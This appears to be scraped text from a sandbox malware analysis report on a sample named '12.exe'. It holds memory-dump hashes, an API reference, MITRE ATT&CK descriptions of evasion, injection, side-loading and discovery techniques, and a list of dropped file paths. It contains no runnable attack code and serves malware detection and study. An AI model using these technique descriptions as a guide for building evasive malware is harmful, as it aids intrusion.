Source File: 00000004.00000002.4218389577.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e901a766833a45341c144fdb25238bc2377fec22dfd5b4fe4b62dfb67a0bd2eb
Instruction ID: a137f52ad136ab92cdbe7358582271622a10cdad78b103ad0573cf0688ff2c63
Opcode Fuzzy Hash: e901a766833a45341c144fdb25238bc2377fec22dfd5b4fe4b62dfb67a0bd2eb
Instruction Fuzzy Hash: 24A20361B1EA8D4FE7A9EB6888A566877D1FF65300F1901FED05DC72E3DE24AD418301

Function 00007FFD9B8AD504 Relevance: 1.6, APIs: 1, Instructions: 114
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE ref: 00007FFD9B8AD5AE

Memory Dump Source

Source File: 00000004.00000002.4217492780.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a474be5d93bed7c81527290b06fe147df192653093eecff179f0602ddfff1dba
Instruction ID: d904ec866ff8f54620cb0d8235acd5d9bf7b311329a9a1d42b91d3ef5f629563
Opcode Fuzzy Hash: a474be5d93bed7c81527290b06fe147df192653093eecff179f0602ddfff1dba
Instruction Fuzzy Hash: E731C13190CA4C8FDB59DF989849AE9BBF0FF59320F14826BD009D3252DB74A816CB91

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 12.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5264

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5264

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Windows Analysis Report
12.exe